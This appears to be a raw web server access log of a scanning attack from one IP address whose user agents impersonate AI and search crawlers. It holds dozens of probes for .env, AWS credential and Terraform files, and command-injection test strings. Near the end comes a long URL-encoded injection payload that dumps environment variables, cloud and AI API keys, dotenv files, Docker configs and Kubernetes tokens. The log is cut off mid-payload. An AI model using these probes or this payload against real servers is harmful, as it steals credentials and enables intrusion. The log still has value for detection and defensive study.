34.140.123.172 - - [04/Aug/2026:17:49:35 -0700] "GET /config.toml HTTP/2.0" 403 10876 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 17 **0/17185**
34.140.123.172 - - [04/Aug/2026:17:49:35 -0700] "GET /configuration.js HTTP/2.0" 403 10881 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 12 **0/12085**
34.140.123.172 - - [04/Aug/2026:17:49:39 -0700] "GET /amplifyconfiguration.json HTTP/2.0" 403 10890 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 5 **0/5716**
34.140.123.172 - - [04/Aug/2026:17:49:35 -0700] "GET /secrets.yaml HTTP/2.0" 403 10877 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 4286 **4/4286290**
34.140.123.172 - - [04/Aug/2026:17:49:39 -0700] "GET /_ignition/health-check HTTP/2.0" 403 10887 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 7 **0/7144**
34.140.123.172 - - [04/Aug/2026:17:49:39 -0700] "GET /debug/pprof/ HTTP/2.0" 403 10877 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 8 **0/8856**
34.140.123.172 - - [04/Aug/2026:17:49:39 -0700] "GET /swagger.json HTTP/2.0" 403 10877 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 4 **0/4729**
34.140.123.172 - - [04/Aug/2026:17:49:39 -0700] "GET /elmah.axd HTTP/2.0" 403 10874 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 5 **0/5373**
34.140.123.172 - - [04/Aug/2026:17:49:39 -0700] "GET /__debug__/ HTTP/2.0" 403 10875 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 5 **0/5809**
34.140.123.172 - - [04/Aug/2026:17:49:39 -0700] "GET /info.php HTTP/2.0" 403 10873 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 5 **0/5499**
34.140.123.172 - - [04/Aug/2026:17:49:39 -0700] "GET /.aider.conf.yml HTTP/2.0" 403 10880 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 7 **0/7676**
34.140.123.172 - - [04/Aug/2026:17:49:39 -0700] "GET /debug/vars HTTP/2.0" 403 10875 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 4 **0/4227**
34.140.123.172 - - [04/Aug/2026:17:49:39 -0700] "GET /phpinfo.php HTTP/2.0" 403 10876 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 12 **0/12057**
34.140.123.172 - - [04/Aug/2026:17:49:39 -0700] "GET /openapi.json HTTP/2.0" 403 10877 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 6 **0/6371**
34.140.123.172 - - [04/Aug/2026:17:49:39 -0700] "GET /public/admin.json HTTP/2.0" 403 10882 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 7 **0/7418**
34.140.123.172 - - [04/Aug/2026:17:49:39 -0700] "GET /telescope/requests HTTP/2.0" 403 10883 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 11 **0/11186**
34.140.123.172 - - [04/Aug/2026:17:49:39 -0700] "GET /aws-exports.js HTTP/2.0" 403 10879 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 16 **0/16886**
34.140.123.172 - - [04/Aug/2026:17:49:39 -0700] "GET /aws-config.js HTTP/2.0" 403 10878 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 14 **0/14411**
34.140.123.172 - - [04/Aug/2026:17:49:44 -0700] "GET /.svn/entries HTTP/2.0" 403 10877 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 5 **0/5319**
34.140.123.172 - - [04/Aug/2026:17:49:44 -0700] "GET /aws/.env.production HTTP/2.0" 403 10884 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 6 **0/6315**
34.140.123.172 - - [04/Aug/2026:17:49:44 -0700] "GET /app/.aws/credentials HTTP/2.0" 403 10885 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 12 **0/12287**
34.140.123.172 - - [04/Aug/2026:17:49:44 -0700] "GET /config/aws.json HTTP/2.0" 403 10880 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 10 **0/10949**
34.140.123.172 - - [04/Aug/2026:17:49:44 -0700] "GET /mail/.env HTTP/2.0" 403 10874 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 8 **0/8875**
34.140.123.172 - - [04/Aug/2026:17:49:44 -0700] "GET /.aws/credentials.bak HTTP/2.0" 403 10885 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 12 **0/12126**
34.140.123.172 - - [04/Aug/2026:17:49:44 -0700] "GET /stripe/.env HTTP/2.0" 403 10876 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 8 **0/8961**
34.140.123.172 - - [04/Aug/2026:17:49:44 -0700] "GET /api/.aws/credentials HTTP/2.0" 403 10885 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 16 **0/16695**
34.140.123.172 - - [04/Aug/2026:17:49:44 -0700] "GET /config/aws.yml HTTP/2.0" 403 10879 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 15 **0/15051**
34.140.123.172 - - [04/Aug/2026:17:49:44 -0700] "GET /terraform.tfstate HTTP/2.0" 403 10882 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 14 **0/14740**
34.140.123.172 - - [04/Aug/2026:17:49:44 -0700] "GET /config/aws.php HTTP/2.0" 403 10879 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 11 **0/11026**
34.140.123.172 - - [04/Aug/2026:17:49:44 -0700] "GET /var/www/html/.env HTTP/2.0" 403 10882 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 7 **0/7878**
34.140.123.172 - - [04/Aug/2026:17:49:39 -0700] "GET /_debugbar/open HTTP/2.0" 403 10879 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 4583 **4/4583464**
34.140.123.172 - - [04/Aug/2026:17:49:44 -0700] "GET /aws/.env HTTP/2.0" 403 10873 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 7 **0/7658**
34.140.123.172 - - [04/Aug/2026:17:49:44 -0700] "GET /s3/credentials HTTP/2.0" 403 10879 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 15 **0/15060**
34.140.123.172 - - [04/Aug/2026:17:49:44 -0700] "GET /config/sendgrid.env HTTP/2.0" 403 10884 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 11 **0/11818**
34.140.123.172 - - [04/Aug/2026:17:49:44 -0700] "GET /terraform.tfvars HTTP/2.0" 403 10881 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 10 **0/10400**
34.140.123.172 - - [04/Aug/2026:17:49:44 -0700] "GET /serverless.yaml HTTP/2.0" 403 10880 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 17 **0/17571**
34.140.123.172 - - [04/Aug/2026:17:49:44 -0700] "GET /s3/.aws/config HTTP/2.0" 403 10879 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 16 **0/16879**
34.140.123.172 - - [04/Aug/2026:17:49:44 -0700] "GET /backend/.aws/credentials HTTP/2.0" 403 10889 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 11 **0/11432**
34.140.123.172 - - [04/Aug/2026:17:49:44 -0700] "GET /aws/credentials HTTP/2.0" 403 10880 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 12 **0/12244**
34.140.123.172 - - [04/Aug/2026:17:49:44 -0700] "GET /sendgrid/.env HTTP/2.0" 403 10878 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 18 **0/18729**
34.140.123.172 - - [04/Aug/2026:17:49:44 -0700] "GET /config/stripe.json HTTP/2.0" 403 10883 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 7 **0/7172**
34.140.123.172 - - [04/Aug/2026:17:49:44 -0700] "GET /var/www/.env HTTP/2.0" 403 10877 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 19 **0/19562**
34.140.123.172 - - [04/Aug/2026:17:49:44 -0700] "GET /back/.env HTTP/2.0" 403 10874 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 20 **0/20004**
34.140.123.172 - - [04/Aug/2026:17:49:44 -0700] "GET /email/.env HTTP/2.0" 403 10875 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 19 **0/19603**
34.140.123.172 - - [04/Aug/2026:17:49:44 -0700] "GET /.aws/credentials.old HTTP/2.0" 403 10885 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 21 **0/21565**
34.140.123.172 - - [04/Aug/2026:17:49:44 -0700] "GET /.sendgrid.env HTTP/2.0" 403 10878 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 16 **0/16489**
34.140.123.172 - - [04/Aug/2026:17:49:44 -0700] "GET /backend-api/.env HTTP/2.0" 403 10881 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 16 **0/16303**
34.140.123.172 - - [04/Aug/2026:17:49:44 -0700] "GET /development/.env HTTP/2.0" 403 10881 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 6 **0/6733**
34.140.123.172 - - [04/Aug/2026:17:49:44 -0700] "GET /stripe.env HTTP/2.0" 403 10875 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 9 **0/9394**
34.140.123.172 - - [04/Aug/2026:17:49:44 -0700] "GET /stripe.json HTTP/2.0" 403 10876 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 7 **0/7031**
34.140.123.172 - - [04/Aug/2026:17:49:47 -0700] "GET /stage/.env HTTP/2.0" 403 10875 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 5 **0/5138**
34.140.123.172 - - [04/Aug/2026:17:49:47 -0700] "GET /prod/.env HTTP/2.0" 403 10874 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 6 **0/6321**
34.140.123.172 - - [04/Aug/2026:17:49:47 -0700] "GET /node/.env HTTP/2.0" 403 10874 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 5 **0/5015**
34.140.123.172 - - [04/Aug/2026:17:49:47 -0700] "GET /services/.env HTTP/2.0" 403 10878 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 7 **0/7759**
34.140.123.172 - - [04/Aug/2026:17:49:47 -0700] "GET /test/.env HTTP/2.0" 403 10874 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 11 **0/11900**
34.140.123.172 - - [04/Aug/2026:17:49:47 -0700] "GET /backend/api/.env HTTP/2.0" 403 10881 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 7 **0/7329**
34.140.123.172 - - [04/Aug/2026:17:49:47 -0700] "GET /private/.env HTTP/2.0" 403 10877 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 13 **0/13887**
34.140.123.172 - - [04/Aug/2026:17:49:47 -0700] "GET /backend/.env.production HTTP/2.0" 403 10888 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 8 **0/8662**
34.140.123.172 - - [04/Aug/2026:17:49:47 -0700] "GET /app/backend/.env HTTP/2.0" 403 10881 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 14 **0/14577**
34.140.123.172 - - [04/Aug/2026:17:49:47 -0700] "GET /src/.env.production HTTP/2.0" 403 10884 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 12 **0/12345**
34.140.123.172 - - [04/Aug/2026:17:49:47 -0700] "GET /app/api/.env HTTP/2.0" 403 10877 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 9 **0/9463**
34.140.123.172 - - [04/Aug/2026:17:49:47 -0700] "GET /frontend/.env.local HTTP/2.0" 403 10884 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 8 **0/8413**
34.140.123.172 - - [04/Aug/2026:17:49:47 -0700] "GET /internal/.env HTTP/2.0" 403 10878 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 18 **0/18679**
34.140.123.172 - - [04/Aug/2026:17:49:47 -0700] "GET /backend/.env.local HTTP/2.0" 403 10883 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 9 **0/9142**
34.140.123.172 - - [04/Aug/2026:17:49:47 -0700] "GET /src/.env.local HTTP/2.0" 403 10879 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 5 **0/5440**
34.140.123.172 - - [04/Aug/2026:17:49:47 -0700] "GET /frontend/.env.production HTTP/2.0" 403 10889 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 10 **0/10655**
34.140.123.172 - - [04/Aug/2026:17:49:44 -0700] "GET /serverless.yml HTTP/2.0" 403 10879 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 5010 **5/5010580**
34.140.123.172 - - [04/Aug/2026:17:49:50 -0700] "GET /server/.env.production HTTP/2.0" 403 10887 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 9 **0/9626**
34.140.123.172 - - [04/Aug/2026:17:49:50 -0700] "GET /apps/backend/.env HTTP/2.0" 403 10882 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 4 **0/4408**
34.140.123.172 - - [04/Aug/2026:17:49:50 -0700] "GET /database/.env HTTP/2.0" 403 10878 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 10 **0/10096**
34.140.123.172 - - [04/Aug/2026:17:49:50 -0700] "GET /server/.env.local HTTP/2.0" 403 10882 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 6 **0/6694**
34.140.123.172 - - [04/Aug/2026:17:49:50 -0700] "GET /credentials.ini HTTP/2.0" 403 10880 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 12 **0/12754**
34.140.123.172 - - [04/Aug/2026:17:49:50 -0700] "GET /admin/.env.production HTTP/2.0" 403 10886 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 10 **0/10202**
34.140.123.172 - - [04/Aug/2026:17:49:50 -0700] "GET /env.txt HTTP/2.0" 403 10872 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 11 **0/11347**
34.140.123.172 - - [04/Aug/2026:17:49:50 -0700] "GET /src/api/.env HTTP/2.0" 403 10877 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 7 **0/7414**
34.140.123.172 - - [04/Aug/2026:17:49:50 -0700] "GET /admin/.env.local HTTP/2.0" 403 10881 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 12 **0/12471**
34.140.123.172 - - [04/Aug/2026:17:49:50 -0700] "GET /apps/api/.env HTTP/2.0" 403 10878 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 7 **0/7054**
34.140.123.172 - - [04/Aug/2026:17:49:50 -0700] "GET /config/credentials.json HTTP/2.0" 403 10888 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 5 **0/5935**
34.140.123.172 - - [04/Aug/2026:17:49:50 -0700] "GET /config/env.php HTTP/2.0" 403 10879 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 6 **0/6899**
34.140.123.172 - - [04/Aug/2026:17:49:50 -0700] "GET /config/env.json HTTP/2.0" 403 10880 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 12 **0/12793**
34.140.123.172 - - [04/Aug/2026:17:49:50 -0700] "GET /env HTTP/2.0" 403 10868 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 5 **0/5258**
34.140.123.172 - - [04/Aug/2026:17:49:53 -0700] "GET /?command=%3B+echo+GSCAN_CMDI+%23 HTTP/2.0" 403 10897 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 5 **0/5031**
34.140.123.172 - - [04/Aug/2026:17:49:53 -0700] "GET /?host=%3B+echo+GSCAN_CMDI+%23 HTTP/2.0" 403 10894 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 6 **0/6159**
34.140.123.172 - - [04/Aug/2026:17:49:53 -0700] "GET /?cmd=%3B+echo+GSCAN_CMDI+%23 HTTP/2.0" 403 10893 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 4 **0/4344**
34.140.123.172 - - [04/Aug/2026:17:49:53 -0700] "GET /?exec=%3B+echo+GSCAN_CMDI+%23 HTTP/2.0" 403 10894 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 5 **0/5899**
34.140.123.172 - - [04/Aug/2026:17:49:56 -0700] "GET /?cmd=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2